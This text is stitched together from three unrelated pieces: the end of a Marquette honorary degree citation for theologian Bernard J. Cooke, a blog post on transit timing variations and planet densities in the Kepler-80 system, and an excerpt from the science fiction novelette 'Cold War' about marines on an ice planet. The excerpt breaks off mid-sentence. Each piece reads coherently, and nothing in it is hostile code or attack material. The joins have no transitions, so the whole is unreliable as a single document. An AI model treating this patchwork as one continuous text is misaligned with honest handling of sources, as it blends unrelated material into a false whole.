curriculum for master of arts students. Generations of Marquette students remember him for his indefatigable energy, his enlightening closed circuit television lectures for undergraduates, his "Cooke Book" of notes for graduates, his passion for justice and his dedication to the improvement of general education throughout the university. He received Marquette's Faculty Award for Teaching Excellence in 1964. His most lasting accomplishment at Marquette was the inauguration of the Ph.D. program in Theology in 1963. Marquette was the first institution in the nation to offer doctoral level training to Catholic laypeople in preparation for careers of theological scholarship and teaching. Dr. Cooke's enduring legacy are the three hundred graduates of Marquette's doctoral program who have taught in college and university classrooms throughout North America, produced significant theological scholarship, and served as leaders in the academy and in the church. As a theological scholar, Dr. Cooke has published major works on the sacraments and on ministry in the Catholic Church. After leaving the Marquette faculty in 1968, he lectured in many countries, worked extensively in programs for lay ministry formation, and has held faculty positions at the University of Windsor and the University of Calgary in Canada and at the College of the Holy Cross here in the United States, where he held the title of Loyola Professor of Theology. His books, articles, courses and lectures have been for many people throughout the world a rich source for theological reflection and inspiration. Marquette University is proud to welcome Dr. Cooke home to Marquette and to acknowledge his gifts as an educator and scholar. Because of his many contributions to Marquette and his pioneering work for Catholic theological education in colleges and universities, Reverend President, I hereby recommend Bernard J. Cooke for the Marquette Degree of Doctor of Religious Studies, honoris causa. -Kepler-80: Analysis of a Compact System It’s been a week for unusual planetary systems, and I’ll cap it off with Kepler-80, a star about 1100 light years away that features five planets in extraordinarily tight orbits. Such systems are now being referred to as STIPs (Systems with Tightly-spaced Planets), a nod to our apparently imperishable drive to create acronyms. Whatever we call them, though, systems like these make us realize that our own Solar System’s configuration is but one possibility in a sea of other outcomes. Yesterday’s post on ‘warm Jupiters’ is yet another confirmation of the thought. What we have in new work from Mariah MacDonald, Darin Ragozzine (Florida Institute of Technology) and colleagues is an analysis of transit timing variations (TTVs) of the planets around this star, all of which orbit inside 1/10 AU. Here the planets’ years are 1.0, 3.1, 4.6, 7.1 and 9.5 days, respectively, close enough that gravitational perturbations can create slight changes in transit times. Although the innermost planet has a very weak TTV signal, the other four show signals strong enough for the researchers to work out the masses of each. Gravitational interactions that disturb a perfectly periodic sequence of transits are a valuable way of making mass estimates for planets small enough that radial velocity detections are difficult. Usefully, Kepler has measured hundreds of TTV signals allowing for such estimates. They’re particularly helpful in multiple-planet transiting systems because now we can use the combination of mass and planetary radius to produce density measurements. The Kepler-80 planets are f, d, e, b, and c in order of period. The inferred masses for the four outer planets are roughly 6.75, 4.13, 6.93 and 6.74 Earth masses, but we learn that the two outermost planets are almost twice as large as the inner two. The researchers believe this is consistent with terrestrial compositions for d and e and extended, puffy atmospheres of hydrogen and helium for b and c. Here’s how the paper describes these worlds: Although all four planets have very similar masses, planets d and e are terrestrial and planets b and c have ∼2% (by mass) H/He envelopes assuming Earth-like cores. Their orbits are similar and models suggest that photo-evaporation would have removed ∼1% H/He from all four planets. Though simulations suggest the system has been affected by planetary tides, we did not consider the effect of dissipation on the atmospheric history of the planets. It is unusual to have four well-measured densities in the same system and future comparative planetology may constrain the formation and evolution of their atmospheres. Due to orbital resonances, the four outer planets are synchronized, returning to the same configuration every 27 days. The paper notes that Kepler-80’s planetary orbits are stable in the long-term as long as we assume orbital eccentricities below about 0.2 (the researchers point out that TTVs cannot reliably detect eccentricities for this system). Although the available Kepler data are not enough to reveal the evolution of the atmospheres on these planets, the researchers’ simulations show that the outer two planets could have migrated inward from original positions in the disk where accretion of hydrogen and helium would be more likely to occur. Image: This animation shows the position of the five planets of Kepler-80 whenever the outer two planets (green and red) pass by one another, about every 27 days over the course of four years of observations by NASA’s Kepler Space Telescope. Due to the rare synchronized nature of the system, the middle two planets (blue and purple) also return to almost exactly the same location. The innermost planet (yellow) is not synchronized and hence is found at a random location every 27 days. MacDonald et al. 2016 were able to show that this pattern indicates formation by “migration,” where the orbits shrink very slightly over time. The orbits are to scale with each other, but the planets are shown 50 times larger. The outer four planets are all about 4-6 times the mass of the Earth. The inner three planets (blue, purple, and yellow) appear rocky and the outer two planets (green and red) are likely rocky with a very puffy Hydrogen/Helium atmosphere. Credit: MacDonald/Ragozzine/FIT. Improved mass and eccentricity estimates will fall to future space-based observatories. With its complex resonances and intriguing dynamical history, Kepler-80 should be a useful laboratory for studying planet formation. The Kepler mission has given us a wealth of information about how planetary systems can be built, and it’s clear that their formation and evolution will be the subject of study for decades. The systems we’ve looked at this week hint at what is possible as exoplanetary architectures continue to surprise us. The paper is MacDonald et al., “A Dynamical Analysis of the Kepler-80 System of Five Transiting Planets,” accepted at The Astronomical Journal. A Florida Institute of Technology news release is available. -Dropped on a frozen planet under suspicious circumstances, a group of marines struggles to discover the true objective of their mission. “Cold War” is set in the same universe as Adam Christopher’s novel The Burning Dark. This novelette was acquired and edited for Tor.com by editor Paul Stevens. “This is bullshit.” First Sergeant Furusawa’s voice came back over the comms. “I don’t like your attitude, Marine.” “Sorry,” said Anderson. “This is bullshit, Sergeant.” The sergeant laughed. “Better.” It was there again: the pulse, the tick; something echoing across the comms, weaving around in the empty space behind the voices. It sounded like interference, the rhythmic tap of something electrical shorting, but that was impossible. Then the comms clicked off and Private Grec was left with nothing but the sound of the blood in her ears and the schtomp schtomp schtomp of seven pairs of boots wading through the snow. Corporal Anderson was right, Grec thought. It was bullshit. Icy, covered-in-six-feet-of-snow, a hundred light years from anywhere bullshit. What the Special Operations team had been doing here was a mystery—at least, a mystery to those who really needed to know, which at the current moment included Sergeant Furusawa and her two three-person fireteams trudging onwards from the drop zone. The planet had a name, a real one, according to the brief—Hrostar—but to the Fleet it was just Warworld 3663. A lump of ice, big enough for Earth-type gravity, but slightly too far out of its sun’s Goldilocks Zone to comfortably support much life worth writing home about. And since contact with the Spec Ops team had been lost five cycles ago, the Fleet war catalog had been updated, changing the planet’s entry to Warworld 3663Ω—Omega for “danger unspecified.” The Spec Ops team had apparently met that danger, and now Furusawa’s search and rescue ground team was here to find them. Of course, Grec and the others—Anderson and Alonso in her team, Bowen, Palladio and Khouri in the Psi-team—all knew what “unspecified danger” really meant. The Spiders were here. Relentless, implacable, totally alien; the Spiders were a machine gestalt swarming across the galaxy, consuming—literally—whole planets, even stars. The eight-legged war machines ranged in size from just a few meters across to the giant Mother Spiders, as big as a moon, with legs long enough, powerful enough to crack the crust of a planet. But if Warworld 3663Ω really was a mostly lifeless lump of rock, then there was no reason for the Spiders to have paid it any heed. The machines seemed only to target inhabited planets, preferably those under the control of the Fleet. The Spiders were less an enemy, more a plague, a contagion. And after decades of conflict, the Fleet were becoming more and more desperate as the Spiders kept coming, and coming, and— Hey. Grec snapped out of her thoughts, and smiled. As the SAR team walked on through the snow, Grec spun on her heel, keeping pace but walking backwards through the tracks of the marine in front. Psi-Marine Maryam Khouri was on rear point, Grec in the center of the line. Grec gave a thumbs-up and Khouri did the same, signaling that all was well, then Grec turned back around without missing a step. Behind the opaque visor of her helmet, she smiled to herself and focused with her mind, pushing the feeling out, hoping that Khouri, three places behind, would be able to sense it. Grec had no psi-ability, and the Psi-Marines weren’t supposed to communicate with the regular forces like that, officially. But it was common. Sometimes the quickest way to get a message across without anyone else knowing—enemy included—was to use your mind. On the long tour aboard the Union Starship Hit and Run, the two of them had worked at it, Maryam insisting that everyone, even Kat, had the power buried up there somewhere in their cerebrum. With a little effort, you could make yourself heard. “Back to work, Marine.” Grec glanced up. The Sergeant’s voice was loud and clear in her helmet—the private two-way channel—unlike the message Khouri had planted in Grec’s mind. “Always at work, Sergeant.” Grec dragged her legs through the snow. The others remained silent, as quiet as the frozen wasteland across which they marched, a peace disturbed only by the soft sound of the team pulling themselves forward. How much farther they had to go was mystery number two. According to the briefing back on the U-Star, now orbiting somewhere far above them, the search area itself was small: a patch of ground not five klicks square, at the northern edge of which was a range of low hills. The drop zone, for some reason, was ten klicks further south, which meant they had to walk the rest of the way. Anderson had questioned this, but before the ship’s Commander had even opened his mouth to reply, Sergeant Furusawa had butted in, casting doubt on Anderson’s masculinity. The two fireteams had laughed and were dismissed, but Grec knew she wasn’t the only one who noticed the question had never gotten an answer. And another thing. SAR was usually done in little one-man hotseats, small and agile U-Stars that could skim through a planet’s atmosphere, allowing a close ground scan with both the craft’s instruments and the pilot’s own senses. SAR on foot was a rare occurrence. And hell, if it was a Spec Ops team that had gone missing, why not send another damn Spec Ops team down after them? Sending a bunch of regular grunts and their Psi-Marine babysitters was surely the wrong decision and— “We’re here.” The line of marines stopped. “Here” was a featureless patch of snow, indistinguishable from the terrain they’d spent the last two hours slogging through. The marines fell out of line, each looking around, as if expecting to find a giant X emblazoned on the white ground. Grec turned slowly, eyes to the horizon. The sky was just a shade darker than the ground, but the heads-up display of her visor enhanced the view, throwing up a reference grid and picking out the difference with ease. Without the HUD, Grec thought, they’d be nearly blind. She turned one-eighty and raised her hand, thumb skyward, signaling everything was A-OK and hunky-dory. Then she took a step forward, her raised hand falling back to the plasma rifle clipped across her front. Maryam? “Where’s Khouri?” she asked. The other marines all turned to face back the way they’d come. Sergeant Furusawa walked to the front, then turned, looking the group over, counting them up. Grec did the same. Anderson, Alonso and herself. Palladio, Bowen, and Sergeant Furusawa. Six marines. Furusawa turned away and Grec moved to her side. Looking out, she could see nothing but a nearly featureless white expanse, the ground broken only by the half-meter deep trench the marines had carved in the snow as they walked. The Sergeant took a step forward. “Psi-Corporal Khouri, what’s your twenty?” There was no response. Khouri was gone. They moved on after an hour. The two remaining Psi-Marines, Bowen and Palladio, had spent all of the intervening time trying to contact the missing third member of their fireteam, but without luck. Neither of them could reach out to her with their minds, unable to make contact or even sense her presence. And there was another problem. “See?” said Anderson. “Bullshit. Bull. Shit.” The comms—the regular communication channel between the marines, and between the marines and their starship in orbit—wasn’t working. “Shut up and keep trying, Marine,” was all Furusawa said over the crackling emergency radio channel as she paced back and forth, scanning the surrounds, her HUD on maximum magnification and enhancement. Grec and the others watched the sergeant’s view displayed on their own HUDs, each studying the image, just in case someone missed something. Anderson—the communication specialist—worked on the failed comms link. They’d only discovered the fault when Furusawa had tried to contact the Hit and Run to report their situation and realized that nobody—not even the marines standing next to her—could hear her. They’d been planetside three hours and were one marine down with basic systems failure. The operation had been screwy from the very start, and now Grec knew they were in even worse trouble. She swallowed, focusing on the situation, pushing the fear over her partner’s fate out of her mind. “We have to go back, Sergeant,” she said. She watched Furusawa continue her slow pace as she scanned the way they had come. Then the sergeant turned around, the opaque visor of her elliptical helmet reflecting Grec’s own. “Our primary objective is to locate the missing Spec Ops team, Marine. We have our orders.” Grec paused, then said “Sergeant,” her training kicking in even as every instinct screamed to her that something wasn’t right. Palladio shouldered his rifle and came to attention in front of the sergeant. “Permission to track back to the drop zone to locate Khouri.” “That’s a negative, Marine.” Palladio nodded at Alonso, standing nearby. As Marine Gunner, his heavy-duty weapon was considerably larger than the rifles carried by the rest. “Alonso and I can go,” said Palladio. “Sweep the area, pick up Khouri and head back to the target zone.” “Negative, Marine,” Furusawa repeated. “I’ve lost one Psi-Marine already, and I don’t want to lose another.” “But, Khouri—” “That’s enough.” The emergency radio buzzed as Furusawa’s voice punched across the channel. The back-up system was low quality and the interference was still there, even worse. A repeated pattern, almost electronic in nature. As the sergeant spoke even Anderson looked up from his position on the ground, where he was working on the computer interface built into the forearm of his combat armor, trying to get the regular comms back online. Sergeant Furusawa looked over her remaining marines, then nodded. “We continue the SAR. If Khouri got lost in the snow we’ll pick her up on the way back. Grec, start the geophys scan. We’ll head north-north-east.” Grec blinked as an orange icon appeared in her HUD: an open triangle, hard against the left of her vision. As she turned her head, the icon slid around until it was at the top. North-north-east, the direction marker shared from Furusawa’s HUD over the psi-fi net that linked each of the marines’ armor together. “Move out,” said Furusawa, taking point, not waiting for the rest of them to fall into line. As they walked off, Grec turned again, wanting to signal with a raised thumb to Khouri, but it was Palladio at the rear now. Grec dropped her arm, turned back to the front, and listened to the stiff crunch of snow underfoot. They marched on. You okay? Grec swept the wand of the geophys scanner over the snow in front of her as she walked. To operate the device she’d shifted up to take point, but with the directional marker in her HUD, she knew where she was supposed to be leading the group. She squeezed the wand a little harder and increased the radius of her sweep. The readings from the scanner, relayed to the display on the inside of her visor, were a little weird, but she hadn’t really had a chance to calibrate everything to zero. Not after Khouri had— Kat? Grec frowned, her eyes flicking over the geophys readout. It was an important job and the Sergeant would be asking for a report very soon. Having Palladio send her messages with his mind—messages he knew she couldn’t respond to—was a distraction. She didn’t really know him that well, either. Not like Maryam. But at least Palladio wasn’t using the emergency radio. The back-up system didn’t have private channels. What one marine said, all would hear. I was her friend, too. Grec screwed her eyes tight and filled her mind with just one single thought. SHUT UP! She knew she couldn’t “talk” to the Psi-Marine, but maybe her annoyance would be enough for him to sense. At any rate, they marched on and Palladio’s voice didn’t enter her head again. Grec relaxed a little and returned her focus to the geophys scan, but after a while her mind wandered. Wandered to Maryam. They’d been close, back on the Hit and Run. Tight friendships between regular marines and their psychic counterparts were common. Often, what started as friendship became something much more. Relationships like that were against regulations, but sometimes in deep, deep space, in the middle of the war, blind eyes were turned. Morale was low enough as it was and the Fleet commanders were unlikely to actively discourage anything that improved it, no matter which statute they broke. The radio clicked on in Grec’s ear. The tapping sound of the interference was loud. As Grec watched, she saw the noise matched the pulse of the geophys readouts running along the bottom of her HUD. “Geophys, Private.” Grec cleared her throat and dragged her attention back to her task. As the team walked forward, Grec swept the wand back and forth again. The readings didn’t change. Nor did they make much sense. “I’m not sure,” she said, trying to parse the data. She came to a stop. Furusawa appeared at her shoulder. “I need a report, Private.” Grec shook her head. “I need to recalibrate, Sarge. The scanner’s bugged.” “What’s the reading?” Grec clenched her jaw and focused on sharing the HUD data with her team leader. The psi-fi indicator in her visor flickered briefly as her combat suit made contact with the sergeant’s, and began streaming the data to its computer. Sergeant Furusawa shifted her grip on her rifle as she waited. “When you’re ready, Private.” “Data streaming, Sergeant.” Furusawa’s helmet tilted to one side. Grec waited. “Negative,” said the Sergeant. “Try re-linking.” Grec closed her eyes this time. Each of the combat suits could be paired together in a low-level, short-range psychic field—psi-fi, a technology-based by-product of the research conducted by the Fleet’s Psi-Marine Corps. The psi-fi net of each suit did everything, from linking the computer buried in the armor backplate to the helmet’s HUD, connecting various tools like the geophys scanner to the suit’s systems and HUD, to sharing data streams between suits. All Grec had to do was concentrate just a little with her own mind. The suit’s computer did the rest, pairing its psi-fi router with the intended partner unit. “Nothing,” said the sergeant. Grec opened her eyes and exhaled, and her whole HUD flickered. When it was stable again, the psi-fi indicator was flashing red. “I have a computer issue,” she said. “Psi-fi just disconnected on me.” “Me too.” Anderson came over the radio, his voice crushed by the interference. Grec turned to her sergeant, who nodded, then turned to face the other marines. “Everyone check their psi-fi net and reboot if necessary. Check in when you’re done.” Grec let the geophys scanner drop on the tether connecting it to her belt, and flipped the long panel on her armor’s right forearm open. Inside the access panel was a small keyboard and set of sliding switches below a row of LEDs. Grec selected the correct switch for the psi-fi router, flicked it up and down quickly, then waited as the indicator in her HUD went dark, then came back on orange, then a second later changed to green. The others, already rebooted, began checking in. Anderson. Alonso. Bowen. Palladio. Grec. Khouri. Furusawa. Khouri. Grec felt her heart thud in her chest. She spun around in the snow, as did the other five remaining members of the team. They were still one down. “I heard her,” said Bowen, his helmet swiveling as he looked from the sergeant to the empty white expanse around them and back. “So did I,” said Alonso. He slid his heavy rifle from his shoulder. Anderson raised his rifle to the side of his helmet and tilted his head to look along the barrel, aiming back the way they had come. “The fuck is going on?” he asked no one in particular. Palladio stepped up to Grec. She couldn’t see his face behind his opaque visor, and she knew that her face was likewise hidden, but she recognized his concern, not just for Khouri but for her. She gave a tiny nod. Palladio seemed to pause, then returned the gesture and turned to the sergeant. “Sergeant, we need to go back,” he said. “Maryam got separated and lost, is all. Horizon blindness. Everything on this iceball is white on white. Won’t take any time to pick her up. She’ll have dug in, back along—” Furusawa ignored him, and pointed at Anderson. “Shoulder your weapon, Marine. We move to the target.” Palladio turned to Grec, then back to the sergeant. When his voice returned to the emergency radio he sounded breathless. The popping background sound seemed to swell with his temper. “We have to go back for her—” “That’s a negative.” “But—” Furusawa turned to the Psi-Marine. “If she’s lost she’ll have dug in, like you said. We’ll pick her up on the way back. March on, Marine. The primary objective takes priority.” Anderson hissed over the radio and stomped through the snow, coming to a halt in front of Furusawa, his helmet just a few centimeters away from hers. “What the hell’s the damn hurry?” Furusawa actually took a step forward, until her visor knocked against Anderson’s. “We’ve got our orders, Marine. March on.” As Grec watched, she could see Anderson adjust his grip on his rifle, his finger inching around the trigger. He held it diagonally across his body, pressed close between him and the sergeant. “What the hell kind of orders are we following anyway?” he asked. His voice was loud in Grec’s ears, the poor quality of the emergency radio channel distorting it strangely. The HUD flashed in Grec’s visor. She raised the geophys wand and pointed it back the way they had come. “You’re close to the line, Corporal,” said the sergeant. Anderson huffed. “This is bullshit, Sergeant, and you know it—” “That’s enough.” Out of the corner of her eye, Grec saw Furusawa turn around. Anderson laid a gauntlet on the sergeant’s shoulder. Psi-Marine Bowen, standing closest to the pair, moved up to Anderson, his voice punching across the argument. “Hey! What’s got into you, Darwyn?” The geophys readout in Grec’s visor was going crazy. She raised the wand higher. “Sergeant!” Furusawa moved over to her. Behind, Bowen was pressing a hand into Anderson’s chest. Anderson shook it off, but the heat appeared to have left him, for now, as the marines gathered around Grec. Furusawa looked out across the snow plain. “What is that?” “There’s something moving, something big.” Grec glanced at the wand, then moved it around in a wide sweep. “It’s underneath us.” “Where?” “Everywhere.” The ground shook. Alonso, standing at the back of the group, swore and swung his heavy weapon around, looking for something to aim at. Grec tried to read the geophys data, but it was moving too fast. Then, as the group watched, the ground opened up a few hundred meters back along the trench they’d carved. The thick snow cover began to cave inwards as the trench unzipped into a wider tear that accelerated towards the marines at an alarming pace. “The fuck?” Anderson voiced what Grec was thinking. Grec lowered the wand. She felt the sting of adrenaline, like they’d walked into an ambush. She raised her rifle, as did all the rest. Except Furusawa. “Do not engage!” Grec aimed at the moving ground. She could see the barrel of Alonso’s heavy gun light up in red as he prepared to fire. “Sergeant?” he asked. The marines stood ready, poised. Grec swore and lowered her rifle a little, backing away. Whatever was under the snow would be on them in seconds. When Furusawa gave the next order, the marines obeyed implicitly, Grec included. “Run!” “Ahead, ten o’clock.” “Affirmative.” “Move it!” There was a burst of heavy rifle fire behind them. Grec didn’t turn, just ran in the direction indicated. Ahead, the flat, featureless snow plain began to rise into low hills, striations of dark rock showing through the ice. And at ten o’clock, a larger black shape: the entrance to a cave. They were sitting ducks in the open. Chances are they were sitting ducks under cover, as well, but the cave at least offered options. Grec took a chance and checked over her shoulder. Alonso paused and fired again into the snow, the superheated plasma bolts throwing up as much ice and snow as the thing burrowing its way after them. At a run, the marines were faster, but in stopping to fire twice, Alonso was very close to their pursuer, the collapsing ground lapping at his boots before he turned tail and fled. “Cease fire!” Furusawa’s order came over the emergency radio. She was in front and hadn’t stopped running. The cave was close now. The snow beneath Grec’s boots became shallower, harder-packed. Their powered combat armor made the slog easier, but even so, they would be exhausted soon, pushing through at this pace. Grec only hoped the cave would keep them safe from whatever the hell it was under the snow. The cave opening had a lip. Furusawa and Anderson jumped over it, then vanished into the blackness, their cries of surprise loud over the radio. Alonso, apparently happy to ignore the First Sergeant’s orders, shouted something about keeping them all covered, but Grec didn’t catch it all, the rhythmic buzzing on the channel so loud it cut out half of his words. She was close to the cave, the lip within reach. Psi-Marine Bowen jumped ahead of her, then she followed. Behind, Alonso had stopped again and rattled off another burst of heavy rifle fire. The floor of the cave was half a meter lower than the entrance, an icy shelf that fell away at a smooth angle. As soon as she landed on the other side of the cave’s lip, Grec’s legs slipped out from under her. Her backplate cracked on the cave floor and she slid down the incline, into the tangle of marines piled at the back of the cave. “Jesus, shit.” Anderson picked himself up, the First Sergeant helping him. Bowen and Palladio scrambled to their knees and crawled back to the cave entrance, quickly using the lip to rest their rifles as they took aim. Grec pushed herself onto her knees and turned on the ice, waiting for Alonso to come sliding in. Nothing. “Alonso, report,” the sergeant said over the radio. Her voice was swamped with interference. “Report please. Gunnery Sergeant, come in.” Silence. The rumbling of the sundered ground had stopped, and Alonso’s heavy rifle hadn’t fired again. Bowen got to his feet while Palladio covered the entrance, and moved closer, his movements loud as his hard armor scraped against the walls of the cave. At the back, Grec reached out and touched the walls. While the floor seemed to be a solid block of ice, forming a more-or-less flat, sloping surface, the walls were different. They were dark and shiny, looking almost like graphite, but when she scraped the ceramic-metal plates of her gauntlet over the surface it left no mark. “Freddy?” Bowen stepped up onto the cave’s lip, rifle in one hand, the butt hard against his armor as he balanced himself against the cave wall with his other hand. He called out again. Grec glanced at the sergeant, who went to join Bowen. Grec followed. Outside, the white snow plain of Warworld 3663Ω was still, featureless except for a wide trench, snow and ice piled in two great mounds on either side, stretching back two hundred meters. Grec’s HUD projected a grid over the landscape, mapped the disturbed ground and told her that the geographical feature stopped fifty meters from where she was standing. First Sergeant Furusawa stepped over the lip of the cave, out into the open. “Gunnery Sergeant Alonso, report please. Confirm your location.” Silence. “Alonso, do you copy? Come in, please.” Anderson swore, then Grec’s HUD flickered briefly, and went off, and the world was plunged into total darkness. Bowen took first watch, which just meant standing and pointing his rifle at the cave entrance. The others were gathered at the back wall, two heatsticks from an emergency kit providing warmth and a sickly yellow light. The odd substance of the cave walls seemed to be an exceptionally good conductor of heat, so Furusawa had leaned the snapped, chemical-filled rods against the back wall, trying to keep them off the ice floor in case they melted through. She was sitting next to the sticks, the dead helmet of her combat suit next to her. As soon as the psi-fi in each suit had shut off completely, they’d had to remove their helmets. The ambient temperature inside the cave was warmer than out in the open—a balmy minus eighteen centigrade—and the heatsticks were beginning to take that up admirably, but in the meantime each marine had unplugged the padding lining of their helmets, the design allowing them to be worn as emergency headgear in just such conditions. Nearby, Anderson sat against the back wall, his helmet wedged between his knees as he worked on the electrical systems inside it with a pair of fine tools.Without a psi-fi network, the helmets couldn’t pair with the combat suit computers, rendering them useless. The suits still had power, that was no problem, but with the psi-fi off for so long, the computers in each had gone to sleep. Over the last two hours they’d tried reboots, switching suit power packs, everything. Nothing worked. Now Anderson was trying something else, seeing if he could boot his helmet separately into a developer mode that would allow him to investigate the glitch. Anderson didn’t need silence to work, but Grec kept quiet, using the time to process their situation, figure out what the hell was going on and what the hell the First Sergeant was up to. The others kept quiet too, no doubt feeling the same, thought Grec. Then her thoughts were interrupted. I’m sorry about Khouri. Palladio again, inside Grec’s head. She drew her knees up to her chest, and watched the reflected glow of the heatsticks dance on the smooth wall of the cave. I know you were close. She closed her eyes, willed the Psi-Marine to shut up. But look, she’s out there. Grec held her breath. We’ll find her, trust me. And then— Grec pushed herself up from the cave floor, stepped towards Palladio, and pushed his chest. He slipped backwards on the smooth floor and hit it with a crack. “Hey!” “Shut the hell up!” Spittle flew from Grec’s mouth. “And get the fuck out of my head.” “What the fuck are you doing?” asked Palladio from the floor. Furusawa stood. “Kat, what is it?” Grec sighed and waved at Palladio. His eyes were wide, his mouth in a surprised O. “Nothing. Absolutely nothing,” said Grec. She glanced around. The others were staring at her and the Psi-Marine on the ground. Grec shook her head, then went to join Bowen at the cave entrance. Bowen glanced sideways at her, nodded, then returned his attention to the darkening world outside. Khouri was dead. She knew it. That voice—the one that had reported in after they’d rebooted their psi-fi the first time—it wasn’t her, she knew it. They’d all heard it, but she knew. It had been different. It was something else. Psi-Corporal Maryam Khouri wasn’t out there, waiting for rescue. The other Psi-Marines, Bowen and Palladio, hadn’t been able to find her with their minds, which meant one thing. She was dead. And Alonso too. Eaten by the monster under the snow. “Kat?” Grec jumped. The First Sergeant was standing next to her. Furusawa glanced at Bowen, then turned away, indicating for Grec to follow. “Are you okay?” asked Furusawa. “I’m fine, Sergeant. No problem.” But Grec’s voice was small and quiet, and even as she spoke she knew that she wasn’t fine, not at all. “I’m sorry about Psi-Corporal Khouri. I knew you were close.” Grec felt the heat rise in her face. She had to hold it together. She was a Fleet Marine. She swallowed, and asked: “You think she’s dead? Alonso too?” Furusawa chewed her lip, but didn’t speak. Grec leaned in closer. “What the hell is going on, Sergeant?” she whispered. “Was Anderson right? Are you following a different set of orders?” Furusawa raised an eyebrow. “I’m not sure I follow, Private,” she said, her voice still low but her tone suddenly formal. “Because,” said Grec, “I’m starting to believe him. This S-A-R is bullshit, Sergeant.” “Private Grec, I—” “So what the fuck are we doing here?” Grec met Furusawa’s eye. The sergeant seemed to be holding her breath. Then Anderson called out from the back of the cave. “Got it!” Furusawa turned and walked away. Grec swore under her breath and followed. Anderson held his tongue between his front teeth, grimacing as he made a delicate adjustment inside his helmet. He twisted one tool clockwise, and his face was lit from below by the familiar glow of the Fleet HUD. Grec knelt beside him and peered into the helmet, watching as the visor displayed scrolling pages of code as it went through a forced reboot. Furusawa nodded and folded her arms. “Good work, Anderson. Fix the others, then we can get going.” Grec’s jaw dropped. “Where the hell to? We need to get back to the drop zone and wait for extraction.” “We can’t go back,” said Bowen from his position at the cave entrance. He indicated the pitch black outside with his rifle. “Not with that thing out there, whatever it is. Not at night.” Grec waved him off. “With the suits back online the dark doesn’t matter. We’ll be able to see it before it sees us. We’re goddamn Fleet Marines, remember.” Bowen shook his head. “It’s taken Khouri and Alonso already, remember?” Grec stormed to the cave entrance and yanked on Bowen’s shoulder. “Yes, I do remember, you son of a—” The cave was filled with a buzzing sound. It was sharp, loud, washed with static and echoed off the hard walls, floor, ceiling. Grec and the others look around in surprise, and saw Anderson squinting into his helmet, still on his knees. He twisted a tool, and the noise died as abruptly as it had started. “Fuck, fuck, fuck.” Anderson dropped his helmet to the cave floor. Bowen looked at the others “What the hell was that?” “Some kind of interference,” said Anderson. “Maybe deliberate jamming, I don’t know. It’s swamped the psi-fi. We’re still screwed.” Furusawa crouched on the cave floor, and stared at the heatsticks. “It was on the emergency radio too,” she said. Grec nodded. “And the comms before that.” Bowen and Palladio exchanged a look, then Palladio tapped his temple. “We heard it too.” “Shit,” said Furusawa. Grec moved to her pile of gear at the back of the cave and pulled out the geophys wand. She turned it on and the row of lights blinked on at once, then went out. A moment later, they began to pulse. There was no sound, but as Grec held the scanner up, the other marines gathered around, staring at the wand. The lights flashed to the same rhythm as the buzz from Anderson’s attempted repair. The comms specialist shook his head. “That’s a hell of a jammer.” Grec gave a thin smile. “Works though, doesn’t it? It’s knocked us out, totally. Left us helpless in a cave.” She looked up at the sergeant. “Do your mystery orders cover this?” The two stared at each other for a moment. Out of the corner of her eye, Grec saw Bowen and Palladio exchange a worried look. Then, finally, Furusawa shook her head. She turned to Anderson. “Break out the lightspeed field transmitter. We’ll contact the ship, get an evac. This isn’t part of the mission at all.” “Fuck, finally,” said Anderson, before turning to his corner of the cave. He flipped his pack over and began pulling out the heavy-duty transmitter. Grec stood and folded her arms. She nodded at the sergeant. “You going to tell us jarheads what these secret orders are?” “No,” said Furusawa, then she raised her rifle and walked to the cave entrance, indicating to Bowen that she would take over the watch. “Wake up.” One side of Grec’s face was warm. She shifted, the sensation of her skin sticking to something hard and smooth helping to rouse her. “Wake the fuck up.” That, and Anderson whispering in her ear, his breath hot. She opened an eye and pushed herself more upright against the curved wall of the cave. “Darwyn? What is it?” Grec looked around. Palladio and Furusawa were asleep on the other side of the cave. A fresh pair of heatsticks had been snapped at some point and rested against the back wall, which had grown very warm indeed. Near the heatsticks, it looked as though the ice floor of the cave had melted a little, the dark of the rock below showing through. Anderson stood back, and smiled. Grec watched him, then rubbed her face. “They’re out there, see,” said the comms operator. He pointed to the cave entrance. “Alonso and Khouri. They’re fine. They’re just waiting for us to come out and join them. You coming or what?” Grec blinked. It was still night outside. She felt groggy. The cave was stuffy, the heatsticks having done a fine job of keeping them from freezing to death. Then she noticed the problem. “Where’s Bowen?” She pushed herself to her feet, and took a step towards the unguarded cave mouth. As she moved, Anderson stepped between her and the entrance. Grec indicated the cave entrance with a nod. “Who’s on watch?” she asked. “You?” Anderson closed his eyes and slowly shook his head. “Don’t you get it, Kat?” he said. His smile vanished, replaced by an expression that was tight and angry, one that Grec didn’t like. Anderson took a step forward and Grec instinctively took a step back. Then Anderson looked away and tilted his head, and the smile came back. He nodded. Grec felt ill. He was listening to something. But, surely, he wasn’t listening to— “Yes,” said Anderson to the air, then he turned back to Grec. “It’s bullshit. Bull. Shit.” “What is?” Anderson waved his arms, indicating the cave, the sleeping marines. “This. All this. Bullshit. Search and rescue? Search for what, huh? Rescue who? Rescue fuck, is who. But it’s fine, it’s okay. I’m dealing with them.” Grec shook her head, then went to wake the sergeant. Anderson had always been edgy, but he was cracking under the pressure. Grec wondered when his last Fleet evaluation had been. Surely he must have been due for a new one, one that would take him off active duty. As she bent down, Grec noticed more of the floor had melted. More than that, it looked as though someone—Anderson, presumably—had been digging into the softening ice on the other side of the cave, revealing something black and long, part of the rock of the actual cave floor. There was something about it that made Grec curious. She moved closer to get a better look, but Anderson grabbed her arm and pulled her back around to face him. “Get off,” she cried out, pulling away. Anderson’s grip was tight and as she struggled just got tighter. “We’re going now, bitch,” Anderson said. He turned towards the cave entrance, pulling Grec after him. “Stop.” Anderson turned his head. Furusawa was crouched on the cave floor, a pistol in hand, aimed at the marine. Nearby, Palladio was awake, his eyes open and fixed on the scene, although he hadn’t moved from his position on the floor. “Don’t you fucking get it?” Anderson let go of Grec, who scrambled back to the others. Anderson didn’t seem to notice. Instead, he pointed again to the cave entrance. “They want us out there, now. Come on! We have to go, now, or we’ll blow the whole mission.” Grec glanced down at Palladio. The Psi-Marine slowly raised himself up. Anderson pointed at him. “It’s their fault, you know?” he said. “They’re doing this. But I’m dealing with it.” Furusawa kept the pistol level. “Dealing with what, Marine?” Anderson waved his hand. “Them. Those fucking freaks.” Palladio held his hands up. “Hey now, I don’t know what you think is going on, but—” It’s okay, Kat. The voice in Grec’s head was new, but familiar. The relief she felt was instantly swamped by something else: fear. Cold, vertiginous fear. “Maryam?” Come outside. Grec looked at the others. They’d stopped fighting. They must have heard it as well. Palladio shook his head. “It can’t be her, can it?” Grec opened and closed her mouth a few times, unable to find quite the right words. She wanted Khouri to be alive, to be out there somewhere on the 